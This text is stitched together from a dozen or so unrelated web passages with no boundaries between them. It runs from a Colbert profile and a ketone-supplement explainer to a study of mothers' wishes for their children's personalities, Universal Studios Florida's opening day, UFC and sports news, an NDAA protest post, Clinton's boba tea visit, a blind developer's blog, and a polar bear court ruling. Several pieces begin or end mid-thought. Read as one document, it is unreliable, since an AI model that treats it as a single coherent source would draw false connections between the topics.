While the comedian's personal life is staid -- he and his wife and three children live in suburban New Jersey, where he teaches Sunday school and roots for Little League -- Colbert has taken his share of professional hits. He wrote for the short-lived "Dana Carvey Show"; "Strangers With Candy," a series he created and starred in along with Amy Sedaris in 1999 for Comedy Central, earned a cult following but lasted just 30 episodes. Perhaps his most public gaffe was his 2006 performance at the White House Correspondents Dinner, where a stunned audience listened to him reel off lines about then-President Bush such as, "Events can change; this man's beliefs never will." Says Allison Silverman, executive producer of "The Colbert Report," "I was really impressed with him continuing when it was not the audience we expected. My feeling there was pure respect for him having the cojones to continue."
Colbert says sinking the ship by himself is much less fun than having a playmate to go down with, one of the many reasons he entices such recent and diverse personalities as Meghan McCain and Ron Howard to join him on the show. But a certain fearlessness is a job prerequisite. "The first director I had at Second City said, 'You have to learn to love the bomb,' and I didn't know what he meant for a very long time," Colbert says. "But there's something nice about getting to the point where you enjoy the feeling that people aren't laughing. Imagine a child drinking beer for the first time and they can't possibly understand why you like it, and you can't possibly explain why it tastes good. But there's a buzz to failing and not dying."
CH3CH(OH)CH2CO2H = beta hydroxybutyrate. It’s a molecule your body makes from fats. The correct spelling is β-hydroxybutyrate or 3-hydroxybutyrate and is often abbreviated BHB. We’ll use beta hydroxybutyrate here.
It all started in 1887. Well, actually 22 years earlier in 1865 when scientists discovered a molecule called acetoacetate in the pee of diabetic patients. Acetoacetate is a ketone or also known as a ketone body. Discovering acetoacetate eventually led them to discover beta hydroxybutyrate. Beta hydroxybutyrate was found in high concentrations in uncontrolled diabetes and so was first thought of as bad.
That’s putting it mildly. Oliver Owen describes how “for years, researchers and scientists viewed ketone as monstrous materials signaling impending death (as in the case of diabetes mellitus)” [1]. Good ol’ guilt by association, a notorious trap for the medical field. It’s like accusing firefighters of starting fires.Or accusing LDL cholesterol for causing heart disease [2 ,3 ,4, 5]. Only someone who doesn’t know what firefighters actually do would make that mistake.
Let’s start small and learn about the trees (beta hydroxybutyrate) to appreciate the forest (our body’s energy policies).
Beta hydroxybutyrate the impostor
Our liver cells (hepatocytes) have an assembly line other cells don’t have that turns fats and other molecular into a ketone called acetoacetate. Some amount of acetoacetate then spontaneously turns into acetone without the help of fancy molecular machines (via non-enzymatic decarboxylation).On the other hand, one of these fancy enzymes called D-β-hydroxybutyrate dehydrogenase turns acetoacetate into beta hydroxybutyrate. This whole assembly line making ketones is called ketogenesis.
Ketogenesis gives us the Three Musketeers of the ketone world: acetoacetate (AcAc), acetone and beta hydroxybutyrate (BhB). The latter is an impostor, it’s not technically a ketone – but it’s counted as one.
Why do biologists call beta hydroxybutyrate a ketone when it’s a monocarboxylic acid? From what I can tell
Chemistry is a weakness of many biologists (including me) Counting it as a ketone is an ossified convention by now The least worst reason is because they are functionally related to one another and originate from their shared ketogenesis pathway
For simplicity’s sake, let’s proceed with the understanding that beta hydroxybutyrate is one of the three ketone compadres. Rumour has it, it may have a dark side…
A two-faced impostor!
Everything should be made as simple as possible, but no simpler – Albert Einstein
When your body makes beta hydroxybutyrate (endogenous beta hydroxybutyrate) it comes in one version and when a lab makes it (exogenous beta hydroxybutyrate) it comes in another.
Do we metabolize endogenous versus exogenous beta hydroxybutyrate differently? If so, are those differences meaningful?
In answering that question let’s take care not to fall in the ‘appeal to nature’ trap, explained by Steven Pinker in the following way:
“The naturalistic fallacy is the idea that what is found in nature is good” [6]
We want to explore the advantages and disadvantages between exogenous and endogenous ketones because the ones our liver make are associated with mostly positive metabolic and physiological changes. Our skeletal muscle and in particular our heart happily gobbles up ketones when they’re around [7, 8, 9]. Ketones can meet about 50% of your body’s energy needs [10].
So can we use exogenous ketones to tweak our biology and reap health or performance benefits?
Beta hydroxybutyrate’s good side: left or right?
Imagine two molecules having exactly the same chemical groups A, B and C in the same amounts. You can join them together in different ways: A=B=C, A=C=B, B=A=C, B=C=A and C=A=B. This is called structural isomerism (or constitutional isomerism).
The other kind of isomerism, spatial isomerism, still describes two molecules with exactly the same amount and type of chemical groups joined together in the same way (say A=B=C and A=B=C) but taking up different positions in space.
A kind of spatial isomer, enantiomers, are two molecules that are ‘the same’ except that one is ‘left-handed’ and the other ‘right-handed’. Literally like your hands! They’re identically structured except for being mirror images of each other. Since you were dying to know, all other spatial enantiomers that aren’t mirror images of one another are called diastereomers.
Your hands are enantiomers. D-β-hydroxybutyrate and L-β-hydroxybutyrate are enantiomers. Once your liver cells make beta hydroxybutyrate, specifically the right-handed version D-β-hydroxybutyrate, it can circulate around your body by dissolving in the water making up most of your blood. It can then cross over into your brain by passing through the blood-brain barrier and feed about two-thirds of your brain’s energy needs together with acetoacetate when required [11].
Our bodies make D-β-hydroxybutyrate, the right-handed version. “D” comes from the latin dexter. Lab-made ketones are currently made as L-β-hydroxybutyrate, the left-handed version. “L” comes from the Latin laevus.
So where’s the controversy?
The primary controversy boils down to disagreements over the safety of the left-handed versus right-handed forms of lab-made ketone supplements. Some argue only the endogenously produced right-hand form is safe for us, others argue a mixture of both is handled just fine if not better.
Making a right-handed only beta hydroxybutyrate supplement is expensive. One ketone supplement of this type is a di-ester alcohol called (R)-3-hydroxybutyl (R)-3-hydroxybutyrate. The di-ester first gets broken down to D-β-hydroxybutyrate and 1,3-Butanediol, and 1,3-Butanediol then becomes D-β-hydroxybutyrate too. This di-ester ends up as the right-handed form of beta hydroxybutyrate only.
Making a ketone supplement with both the left and right-handed version of beta hydroxybutyrate is much less expensive. One kind of ketone supplement that is a mixture of the left and right-handed beta hydroxybutyrate is technically known as a racemic mixture of ketone salts. These ketone salts are left or right-handed beta hydroxybutyrate molecules linked to a mineral, such sodium (Na), calcium (Ca) or potassium (K) for example. This kind of ketone supplement gets broken down to left and right-handed version of beta hydroxybutyrate and the mineral in question.
Left vs Right controversy
It has been argued that the right-handed version of beta hydroxybutyrate produced by our bodies and some labs are more energetically efficient than racemic mixtures. And that it also recharges internally generated antioxidant stores beyond that which left-handed beta hydroxybutyrate can. Another argument against against taking a mix of left and right-handed ketones is that if your were to measure your blood ketones with a device like the Precision Xtra that only recognize the right-handed (D) form, the left-handed (L) form in your blood would be ignored, potentially leading to a dangerous underestimate. These arguments are made by brilliant ground-breaking researchers like Dr.Veech [12].
Dr.D’Agostino disagree with Dr.Veech, saying “across the board […] everything is positive there’s no negative thing” [13]. He also explains that 24 to 48hrs after ingesting a racemic mixture of ketone salts, about 80% turn to the right-handed form and the remaining 20% of left-handed beta hydroxybutyrate gets metabolized for energy just like fats do. Most importantly, Dr.D’Agostino points out that racemic mixtures of ketones have been used since the late 1950s, amounting to millions of doses taken by humans nowadays with no evidence of harm. He also reminds skeptics that so far, racemic ketone supplements have been shown to lower oxidative stress, protect animals against hypoxia, stroke, brain injury and protect humans against various disorders like MAD and glycogen storage disease [14, 15, 16, 17] – just to name a few applications.
Are exogenous ketones safe?
So far they seem to be. There’s mounting evidence that they can help treat more and more conditions. Furthermore, the continued absence of evidence of adverse events is encouraging.
Some remaining questions
We talked about racemic ketone salts, but what about racemic ketone esters? What are the respective advantages and disadvantages?
What are the effects of having high amounts of sodium, calcium or potassium that necessarily accompany the ingestion of ketone salts?
Ketone supplements can enhance insulin sensitivity for glucose utilization (a “good thing”) yet ketone supplements acutely spike insulin and stop the release of fats from fat cells (a “bad thing”) – how do we reconcile these phenomena?
What about ketone supplements combining beta hydroxybutyrate and another ketone, namely acetoacetate? Is the combination better, the same or worse?
Ambitious and self-disciplined or affable and fun-loving? If you could choose the personality profile for your children, what would you prioritise? Researchers at Goldsmiths, University of London, put this question to 142 British mothers with a baby aged 0 to 12 months. Reporting their findings in Personality and Individual Differences, Rachel Latham and Sophie von Stumm say there was a clear preference among the mothers for most of all wanting their infants to grow up to be extraverted, especially friendly and cheerful, more so than conscientious or intelligent, even though these latter attributes are more likely to contribute to a healthy, successful life. To the researchers’ knowledge this is the first time mothers’ wishes for their children’s personalities has been studied.
Latham and von Stumm told the mothers (average age 33) the six personality facets that make up each of the Big Five personality traits (Extraversion, Conscientiousness, Neuroticism, Agreeableness, Openness to Experience). For each trait, the mothers were asked to say which facet they would most like their child to have. See the results below, showing how often each facet was chosen as the most preferred for each trait:
After this, the mothers were asked to place their chosen five facets (one from each trait) in order of most to least important for their child to have, and to also place intelligence in its appropriate place in this list.
More than half the mothers chose a facet of Extraversion as the most important overall, followed by 20 per cent choosing a facet of Agreeableness, such as being moral or trustworthy, as most important. An Openness facet was chosen as most important by just under 10 per cent of mothers, with intelligence or a facet of Conscientiousness, such as achievement-striving, not far behind at 9 to 10 per cent. Mothers’ choices didn’t vary with the sex of their child.
Latham and von Stumm point out that the high priority that mothers placed on Extraversion and the relatively low priority given to Conscientiousness and Intelligence contrasts sharply with the research literature on which traits are most important to positive and negative life outcomes. For instance, people who are more intelligent and Conscientious tend to live longer, healthier lives and do better in their careers and relationships. By contrast, although Extraversion correlates with being happier, it is also associated with negative outcomes such as drink and drug problems.
Unfortunately, the research doesn’t speak to why mothers prioritised the traits that they did. “It is possible that mothers’ preference for extraversion is the result of a cohort effect, whereby the current zeitgeist, rather than the mothers themselves, values and encourages extraversion,” Latham and von Stumm speculated.
It will be interesting to see follow-up research on this question – for instance, how might mothers’ wishes for their children vary cross-culturally. And what about fathers’ wishes? The researchers speculated that perhaps fathers would place a higher value on traits that promote achievement.
The study contains an odd anomaly. Four of the five Big Five personality traits were presented in such a way that having more of any of the related facets would be an obviously welcome thing – such as being more friendly (a facet of Extraversion), having more imagination (Openness), being more self-disciplined (Conscientious). However, in terms of a person’s emotionality, the researchers presented the relevant trait as a negative: as Neuroticism rather than as Emotional Stability, its positive polar opposite.
It’s little wonder then than zero mothers chose a facet of Neuroticism (such as self-consciousness or vulnerability) as the facet they would most like their child to have. Of course, if this trait had been framed as Emotional Stability (with positive facets, such as relaxed and not easily embarrassed), it’s possible many mothers would have placed a high priority on this trait. In fact, past research has shown that when young adults around the world are asked how they would most like to change their personality, most of them say that increasing their Emotional Stability (or reducing Neuroticism) is the change they would most like to make.
One last, related point. Introverts may notice that the facets of Extraversion were all worded in a way biased in favour of the extroverted end of this personality dimension. It’s easy to imagine the results would have been different with some word changes to make the introverted end of this trait more appealing, such as listing “is content to spend time alone” and “happy to take it easy” as facets of Introversion.
—Mothers want extraversion over conscientiousness or intelligence for their children
This was to be the opening day of Universal Studios Florida.
Disney had just opened its own movie-themed park, Disney-MGM Studios (now Disney’s Hollywood Studios), the year before. Could the region support two movie parks? Would Universal dominate, toppling what was then considered a half-day park? Or would Disney emerge victorious, as it had in every Central Florida theme park war since its 1971 opening? Although Disney took out a full-page ad in the Orlando Sentinel welcoming Universal to the neighborhood, it was clear that a battle of the titans was about to erupt. Lines were drawn in the sand, and both the local and national media were abuzz.
The disaster that unfolded that day was perhaps unavoidable, and certainly not surprising to anyone who knows their theme park history. Like Disneyland before it, Universal discovered that when a brand new park pushes the limits of technology, anything is possible. The resulting calamity was so bad that some commentators speculated that the park might not survive.
I was there that day, a young star-struck teenager filled with anticipation. Here is my recollection.
The backstory
Universal Hollywood first opened its gates to the public in 1915, three years after the studio’s founding, under the direction of original founder Carl Laemmle. For just 25 cents, visitors were welcome to stay as long as they liked and watch whatever happened to be filming on the lot that day. A chicken lunchbox cost five cents extra.
This setup worked well in the era of silent films, but when “talkies” debuted around 1930, there was no way to control the ambient crowd noise. Though Mr. Laemmle loved his open relationship with his visitors, he had no alternative but to close the gates. Carl Laemmle passed away in 1939, having lost control of the studio to the investment firm Standard Capital when he was unable to repay a sizeable loan.
The studio changed hands a couple of times, coming under the control of Decca Records in 1952. The new owners inked a deal with Gray Line Tours in 1956, allowing tour buses to travel the backlot as part of the company’s Hollywood Tour. After a 1957 fire destroyed much of the backlot, Universal changed hands again in 1959, this time to MCA ownership.
MCA President Albert Dorskind realized that tourists could prop up sales in the studio commissary (restaurant), and that tour revenue could boost the studio’s bottom line. The years 1962 to 1964 were a time of transition. Gray Line was contracted to run the all-new Revue Studios Tour, a lengthier backlot tour, separate from the Hollywood Tour, which also included lunch at the commissary.
In 1964, Dorskind convinced MCA Chairman Lew Wasserman to invest heavily in the facilities needed to create a truly immersive guest experience. The new studio-controlled GlamorTrams tour debuted that summer, adding several exhibits and demonstrations to the tour. This marked the creation of Universal Studios Hollywood as we know it today.
Over the next two decades, the park thrived. Several standalone shows and attractions were added, but the heart of the action continued to take place as part of the tram tour. With new wonders being added frequently, to the delight of locals and tourists alike, MCA was ready to expand. Florida was at the top of its wish list, but the powers that be were a bit hesitant to take on Disney in Central Florida, where it was the undisputed king of the hill.
In the early 1980s, MCA approached rival studio Paramount about a possible partnership. This would reduce the capital outlay, and hence the risk, for both companies, while allowing them to share the rewards. However, the deal was rejected by Paramount’s then-President and COO, Michael Eisner.
Eisner went on to become Chairman and CEO of The Walt Disney Company in 1984. Meanwhile, the Universal Studios Florida idea seemed dead in the water—until fate intervened one day in 1986. As show designer Peter Alexander explains on his Totally Fun Company website, he was working on the animatronic for the soon to debut King Kong portion of the studio tour when his college roommate, Steven Spielberg, happened to drop by.
As the story goes, Spielberg was so impressed that he asked Alexander to start working on concepts for a Back to the Future ride. A friendly rivalry with George Lucas, who was heavily involved in the 1986 design process for Disneyland’s Star Tours, had Spielberg’s interest piqued. When Hollywood’s Kong turned out to be a smash success, and Spielberg agreed to sign on, MCA finally gave the green light for the Florida attraction.
The original plans called for a similar park design to the one in Hollywood, with the bulk of the experience taking place on board a tram. However, Eisner had already seen those plans during his Paramount days, and when he caught wind that the project was a go, he took advantage of Disney’s independent government system to beat Universal to the punch by announcing Disney-MGM Studios. But Lew Wasserman and MCA CEO Sid Sheinberg stepped up to the challenge, deciding to beat Disney at its own game. The revised park would now consist of stand-alone attractions that smashed the limits of existing technology. Peter Alexander’s article calls it an “arms race” with Disney.
Disney-MGM Studios was not a critical success in its first year (although it was a commercial one). With few attractions and loose theming, many critics disparaged it as a half-day park. Popular opinion was that it was slapped together in a hurry, ostensibly for the sole purpose of heading off Universal.
Yet Universal had its critics too. Besieged by construction delays and problems with technology, the company pushed back its grand opening several times, from an original projected date of December 1989 to its official grand opening date of June 7, 1990. The local and national media reported everything they could get their hands on, both positive and negative, while local residents waited guardedly to see what would happen.
By the time opening day finally rolled around, the hype had reached a fever pitch. With a star-studded gala featuring some of Hollywood’s biggest names, the day proved nearly irresistible. Some came for autographs, some came to watch the park fail spectacularly, and some heralded it as a new dawn for a Central Florida landscape that they felt was entirely too dominated by Disney.
The crowds
In those days, Universal Studios Florida was just one park, with a single parking lot that sat roughly where CityWalk is today. There was an entrance from Kirkman Road and an entrance from Turkey Lake Road, both of which dumped onto the only road that led to the parking lot. Drop-off was on a small connecting loop off the main park entrance road, with an exit on Vineland Road.
This relative lack of space for cars waiting to get in meant that traffic backups were inevitable. My dad and I traveled from Lakeland, about 50 miles away via Interstate 4, and it took us more than two hours to get there. Once on property, we sat in a long line to pay our parking fee and find a spot, and then stood in long lines for both the parking lot tram and the turnstiles.
Long lines were the order of the day. Estimates put the crowd size at around 10,000—a fairly large number given that only 12 attractions were open, and a lot of the walkways were blocked by grandstands and other special opening day paraphernalia.
However, the vast majority of the crowd was friendly and in good spirits. In those days, long before the debut of FastPasses, Express Passes, and Speed Passes, waiting in line was just something you did when you visited a theme park. When a new attraction opened at an existing park, the waits were astronomical. For example, my family happened to be in Epcot on opening day for The Living Seas. We had been chosen for a soft opening the week before, so we happily walked on by the line, which stretched to the other side of Future World.
Having faced off against ranked opponents like Michael Chiesa and Al Iaquinta in the past, Clarke outlined why he believes he has had tougher tests than the Donegal man, and in doing so, he compared ‘Irish Joe’ to former UFC fighter, John Maguire.
“In all honestly I think I’ve had tougher fights,” said Clarke. “Michael Chiesa, I think, was a tougher fight. Al (Iaquinta) was as well. John Maguire was on par with where Joe is now in terms of ability and who he has faced. John had won a lot of tough fights at 170, and I think that’s a bit of a difference too.
“I just think I’ve faced harder matchups, and that’s not to say that Joe isn’t a hard matchup because everyone on this tier is really tough. For me, Chiesa is a top ten fighter and Al is a top ten fighter, so I guess I’m kind of brought in as a litmus test for those kinds of guys. I’ve seen where those guys are at and I have full confidence in myself.”
The Canadian knows how popular Duffy is in Europe and hopes that a win over him will provide him with a significant boost in trajectory.
“Joe has a lot of hype behind him because he was (the last guy to beat McGregor) for so long. Compared to fighting other unranked guys like Cody Pfister, who is only really only known for losing to Sage Northcutt, I think a win could be really good for me.
“This fight should see me get a big boost if I win it, and I think that’s why UFC have put us on the main card during such a spectacular week. People know who Joe is and they know I’m a gritty guy who always comes to fight.”
When pushed to isolate one of Duffy’s main assets going into the contest, Clarke pointed to his opponent’s confidence.
He said:“A big part of Joe’s game is his confidence. He wants to impose his game on you and his confidence allows him to do that. He’s very confident in his skill set and I think that can be both a good thing and a bad thing. I’m kind of similar in terms of how stubborn I can be. His confidence is something that definitely sets him apart from a lot of fighters.”
Clarke believes that Dustin Poirier has set the blueprint with regard to defeating Duffy, but even though he comes from a wrestling base, he is adamant that he won’t shy away from the exchanges with ‘Irish Joe’.
“Dustin Poirier set a good game plan against Joe. I think there are some ways to improve on it. Some of Duffy’s previous opponents that he has beaten showed me a lot of what to do and what not to do.
“Ivan Jorge forced takedowns on Joe, and they were bad takedowns. The one takedown that led to him getting submitted was not executed very well.
“The thing is, this is MMA – it’s not just wrestling and it’s not just boxing. Those are the different areas that Joe and I will look to impose our strengths. I know I can throw bombs and I know he has the ability to take me down if I get lazy.
“Coming from a grappling background, people don’t expect me to hit so hard, but I do. I’ve been working with really good striking coaches, especially since my last fight, so if he thinks I’m gonna go in there and rush a double leg or something, he’s sadly mistaken.”
No firm dates for New Zealand have been revealed yet, but it appears the long-standing English heavy metal outfit will be hitting these shores in May after a jaunt through Japan and China. The tour has been lined up to support the release of their new studio album The Book Of Souls, which is the band's first album in five years and set for worldwide release on 4th September.
Punto signed a two-year deal with the A’s last offseason and hit .207 with two homers and a .589 OPS in 73 games as a utility man, at which point Oakland released him and ate the remaining $2.75 million on his contract.
A speedy, slick-fielding, light-hitting infielder, Punto played parts of 14 seasons in the majors and earned nearly $25 million despite topping a .700 OPS just three times. His best year came in 2006 for the Twins, when he took over as the starting third baseman and hit .290 with a .352 on-base percentage in 135 games.
If he’s indeed finished, Punto retires as MLB’s all-time leader in head-first slides into first base and exaggerated claps after head-first slides into first base.
Exhibit 3: Demoralized, smoking, nervous -- Lauren DiGioia, who was arrested for protesting NDAA at New York's Grand Central Station and HANDCUFFED FOR 26 HOURS, IN ADDITION TO BEING DENIED ACCESS TO A LAWYER OR PHONE CALL, speaks about her experience:
Exhibit 2: Her arrest. What crime does she commit, other than warning the public about NDAA? (If you don't already know, this is the controversial bill President Obama signed into law on New Year's Eve. Provisions within the NDAA allow for the indefinite detention of American citizens on US soil, without access to a trial or attorney. It's a disgrace to the founding fathers, to our nation's rule of law, and to every soldier who has given his or her life to protect our way of life. Many, even liberal Democrats, are now calling for Obama's impeachment, and the recall of Congressional leaders who crammed this bill through.)
Exhibit 1: A youthful, idealistic citizen interested in promoting discussion of greed, inequity, social injustice. You don't notice that same idealism and inherent trust in the most recent video, do you? This is the fear and gradual degradation that a police state brings about.
UPDATE 1:20am ET: This has been brought to my attention. It seems abundantly relevant. From Gothamist: "Digioia was charged with disorderly conduct and resisting arrest. Kamel [her boyfriend], a student at the University of Amherst who has been participating in Occupy Wall Street since October 15th, was advised by his attorney not to comment on his charges, but he confirmed they were misdemeanors. He also told us he was bitten by a K9 Unit police dog after he was already in custody."
You don't have to regularly rub shoulders with the likes of David Axelrod to know that trying to get elected as the Leader of the Free World is a damn tough prospect. Your unseemly and undying zeal for condensed cream of mushroom soup will be called into question. Seeking voter approval will compel you to parade around a bunch of steak from a company that doesn't actually exist anymore. Hell, you might even be forced to stuff yourself with ungodly amounts of capicolo to prove you aren't in fact unfit for the job.
And now, in an attempt to ingratiate herself with New York City's massive Asian-American community, former Secretary of State and Democratic presidential hopeful Hillary Rodham Clinton took time before the primaries this Tuesday to have a delicious cup of boba tea in Queens.
For those who of you who might not sleep atop a bed made of grass jelly, boba or bubble tea is a Taiwanese tea-and-milk-based drink containing tapioca balls. The drink is wildly popular throughout Asia and parts of America and was invented in the 80s in Taichung, a former colony and the industrial powerhouse of modern Taiwan.
On her campaign trail through the boroughs of New York City, Clinton stopped by Kung Fu Tea in downtown Flushing, Queens. That's the location of a Chinatown that has more Asian residents than what is typically known as "Chinatown" in Manhattan (Brooklyn's Sunset Park Chinatown has the most of the three areas).
At Kung Fu Tea, Clinton was served the tapioca-filled drink as journalists watched. She took a sip and certainly seemed to like it: "Oh, thats good!" she said. Then she intoned, "I love a milky tea," as if she were having elevenses with the Queen—not chugging boba in Queens. But her remark that is taking the internet by storm is this: "I've never had chewy tea before!"
Lets just say not everyone was happy with the characterization.
I was already hella done w white people calling boba "bubble tea," but now you got @HillaryClinton calling boba "chewy tea" lmao GIRL BYE — Josephine (@s__josiee) April 21, 2016
hillary clinton referred to milk tea as "chewy tea". do you really want to nominate someone who calls milk tea "CHEWY TEA"??seriously though — Sharon (@sharonnapril) April 20, 2016
if Hillary Clinton calls bubble tea as chewy tea then what would Donald Trump call it? — Anna (@juniior_royal) April 20, 2016
HILLARY CLINTON CALLED MILK TEA "CHEWTY TEA" I'M SO DEAD — Isabelle Trinh (@IsabelleTrinhhh) April 20, 2016
It's only me, and my colleagues can assure you that I'm mostly harmless. I'm a software developer working at Vincit offices in Tampere. I'm also blind. In this blog post I'm going to shed some light on the way I work.
Are you blind as in actually blind?
Correct. I can perceive sunlight and some other really bright lights but that's about it. In essence, nothing that would be useful for me at work.
What are you doing there, then?
The same as almost everyone else, that is: making software and bantering with my colleagues whenever the time permits. I have worked in full stack web projects with a focus on the backend. I have also taken up the role of a general accessibility consultant – or police; depends on how you look at it.
How do you use the computer?
The computer I use is a perfectly normal laptop running Windows 10. It's in the software where the "magic happens". I use a program called a screen reader to access the computer. A screen reader intercepts what's happening on the screen and presents that information via braille (through a separate braille display) or synthetic speech. And it's not the kind of synthetic speech you hear in today's smart assistants. I use a robotic-sounding voice which speaks at around 450 words per minute. For comparison, English is commonly spoken at around 120-150 words per minute. There's one additional quirk in my setup: Since I need to read both Finnish and English regularly I'm reading English with a Finnish speech synthesizer. Back in the old days screen readers weren't smart enough to switch between languages automatically, so this was what I got used to. Here's a sample of this paragraph being read as I would read it:
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And here's the same text spoken by an English speech synthesizer:
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A mouse is naturally not very useful to me so I work exclusively at the keyboard. The commands I use should be familiar to anyone reading this post: Arrow keys and the tab key move you around inside a window, alt+tab changes between windows etc. Screen readers also have a whole lot of shortcuts of their own, such as reading various parts of the active window or turning some of their features on or off.
It's when reading web pages and other formatted documents that things get a little interesting. You see, a screen reader presents its information in chunks. That chunk is most often a line but it may also be a word, a character or any other arbitrary piece of text. For example, if I press the down arrow key on a web page I hear the next line of the page. This type of reading means that I can't just scan the contents of my screen the same way a sighted person would do with their eyes. Instead, I have to read through everything chunk by chunk, or skip over those chunks I don't care about.
Speech or braille alone can't paint an accurate representation of how a window is laid out visually. All the information is presented to me in a linear fashion. If you copy a web page and paste it into notepad you get a rough idea of how web pages look to me. It's just a bunch of lines stacked on top of another with most of the formatting stripped out. However, a screen reader can pick up on the semantics used in the HTML of the web page, so that links, headings, form fields etc. are announced to me correctly. That's right: I don't know that a check box is a check box if it's only styled to look like one. However, more on that later; I'll be devoting an entire post to this subject. Just remember that the example I just gave is a crime against humanity.
I spend a good deal of my time working at the command line. In fact I rarely use any other graphical applications than a web browser and an editor. I've found that it's often much quicker to do the task at hand on the command line than to use an interface which was primarily designed with mouse users in mind.
So, given my love of the command line, why am I sticking with Windows, the operating system not known for its elegant command line tools? The answer is simple: Windows is the most accessible operating system there is. NVDA, my screen reader of choice is open source and maintained more actively than any other screen reader out there. If I had the choice I would use Mac OS since in my opinion it strikes a neat balance between usability and functionality. Unfortunately VoiceOver, the screen reader built in to Mac OS, suffers from long release cycles and general neglect, and its navigation models aren't really compatible with my particular way of working. There's also a screen reader for the Gnome desktop and, while excellently maintained for such a minor user base, there are still rough edges that make it unsuitable for my daily use. So, Windows it is. I've been compensating for Windows' inherent deficiencies by living inside Git Bash which comes with an excellent set of GNU and other command line utilities out of the box.
How can you code?
It took me quite a long time to figure out why this question was such a big deal for so many people. Remember what I said earlier about reading text line by line? That's how I read code. I do skip over the lines that aren't useful to me, or maybe listen only halfway through them just for context, but whenever I actually need to know what's going on I have to read everything as if I were reading a novel. Naturally I can't just read through a huge codebase like that. In those cases I have to abstract some parts of the code in my mind: this component takes x as its input and returns y, never mind what it actually does.
This type of reading makes me do some coding tasks a little bit differently than my sighted colleagues. For example, when doing a code review I prefer to look at the raw diff output whenever I can. Side-by-side diffs are not useful to me, in fact they are a distraction if anything. The + and - signs are also a far better indicator of modified lines than background colours, not because I couldn't get the names of those colours, but because "plus" takes far less time to say than some convoluted shade of red that is used for highlighting an added line. (I am looking at you, Gerrit.)
You might think that indentation and other code formatting would be totally irrelevant to me since those are primarily visual concerns. This is not true: proper indentation helps me just as much as it does a sighted programmer. Whenever I'm reading code in braille (which, by the way, is a lot more efficient than with speech) it gives me a good visual clue of where I am, just like it does for a sighted programmer. I also get verbal announcements whenever I enter an indented or unindented block of text. This information helps me to paint a map of the code in my head. In fact Python was the first real programming language I picked up (Php doesn't count) and its forced indentation never posed a problem for me. I'm a strong advocate of a clean and consistent coding style for a number of reasons, but mostly because not having one makes my life much more difficult
Which editor do you prefer?
Spoiler alert: The answer to this question doesn't start with either V or E. (Granted, I do use Vim for crafting git commit messages and other quick notes on the command line. I consider myself neutral on this particular minefield.) A year ago my answer would have been, of all things, Notepad++. It's a lightweight, well-made text editor that gets the job done. However, a year ago I hadn't worked in a large-scale Java project. When that eventually happened it was time to pick between Notepad++ and my sanity. I ended up clinging to the latter (as long as I can, anyway) and ditching Notepad++ in favour of IntelliJ IDEA. It has been my editor of choice ever since. I have a deeply-rooted aversion towards IDEs since most of them are either inaccessible or inefficient to work with solely on the keyboard. Chances are that I would have switched to using an IDE a lot sooner if I was sighted.
But why Notepad++, you might ask. There are more advanced lightweight editors out there like Sublime text or Atom. The answer is simple: neither of them is accessible to screen readers. Text-mode editors like Vim aren't an option either, since the screen reader I use has some problems in its support of console applications that prevent those editors from being used for anything longer than a commit message. Sadly, accessibility is the one thing that has the last word on the tools I use. If it's not workable enough that I can use it efficiently, it's out of the question.
Do you ever work with frontend code?
You would think that frontend development was so inherently visual that it would be no place for a blind developer, and for the most part that is true. You won't find me doing a basic Proof-of-Concept on my own, since those projects tend to be mostly about getting the looks right and adding the real functionality later.
However, I've had my fair share of Angular and React work too. How's that? Many web apps of today have a lot going on under the hood in the browser. For example, I once worked a couple of weeks adding internationalization support to a somewhat complex Angular app. I didn't need to do any visual changes at all.
I've found that libraries like Bootstrap are a godsend for people like me. Because of the grid system I can lay out a rough version of the user interface on my own. Despite this all the interface-related changes I'm doing are going through a pair of eyes before shipping to the customer. So, to sum up: I can do frontend development up to a point, at least while not touching the presentation layer too much.
How about all the things you didn't mention?
Oil and gas trade associations, several Alaska Native corporations and villages, and the state of Alaska claimed the habitat designation was unjustifiably large. They also claimed the designation would do nothing to help conserve the polar bear.
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“Polar bears are threatened by projected loss of sea ice habitat due to climate change, not on-the-ground activities in the Arctic,” the groups wrote in their petition to the court. “Polar bears and their habitat are already properly managed under the [Marine Mammal Protection Act]."
The Supreme Court’s refusal to hear the case leaves in place a 9th Circuit Court of Appeals ruling upholding the designation.
Terron Ward's knee hadn't swelled up.
leading rusher was not in unbearable pain. The knee simply did not feel normal.
So doctors decided to check it out, just to be safe. The results came back.
Torn meniscus.
"I was pretty shocked," Ward said following Tuesday's practice.
The timing of the significant injury is unfortunate for an OSU rushing attack that just blasted Arizona State for 247 yards and two touchdowns (148 yards and a score from Ward) in Saturday's upset. But the timing is even more unfortunate for Ward himself.
He won't play in the Beavers' final two regular-season games at Washington and against Oregon. And with OSU still needing one more win to become bowl eligible, there's a chance Ward's college career has come to a premature end.
"It's crazy to even think of that," Ward said. "I've thought about that many times in the last two days. It was a good game to go out on, I guess, upset the No. 6 team. But I don't get to play in the Civil War. I won't get to play Washington again. I don't know if we'll have a bowl game. So things like that go through your mind.
"It's hard to swallow, but it's part of life."
Ward got hurt late in the fourth quarter, on a third-and-2 play from the Arizona State 46-yard line where he bounced a run to the right side.
"Nothing (flukey)," Ward said. "It wasn't like it got twisted or anything. Just something that happened."
The Beavers ended up punting two snaps later. Two consecutive defensive stands — Michael Doctor's pick-six and D.J. Alexander fourth-down sack — meant the OSU offense did not take the field again.
But Ward was the first OSU player to take the mic during the postgame press conference, already looking ahead to Washington rather than mentioning he felt dinged up. Coach Mike Riley did not mention Ward during his injury update on Sunday evening's media conference call.
Yet Ward watched Monday's practice in sweats. It's not entirely uncommon for players with minor injuries to sit out a workout or two early in the week. When Riley was asked following Monday's practice for an update on Ward, however, the coach revealed it would be "very likely" the running back would be out the next two weeks.
So for now, the Beavers move on without a tough between-the-tackles runner who has compiled 696 yards and 10 touchdowns so far in 2014. Co-starter Storm Woods (591 yards, four touchdowns), who has been much more explosive in a resurgent junior season, becomes the top option, with sophomore Chris Brown set to see more carries. Physical redshirt freshman Damien Haskins, who took a handoff at fullback against ASU, could also get some looks.
"Terron is a good football player and he's all over the place on our team," said Riley, also noting Ward's role on special teams. "When you lose a guy like that, it takes about four guys to replace him is what happens. But it's kind of football."
If Ward never takes the field for the Beavers again, he'll finish his career with 1,843 yards and 22 touchdowns. His senior season will always be regarded as his best. His powerful, fearless running style — despite standing just 5-foot-7 — made him popular with Beavers fans, while his candid comments made him a go-to interview with media.
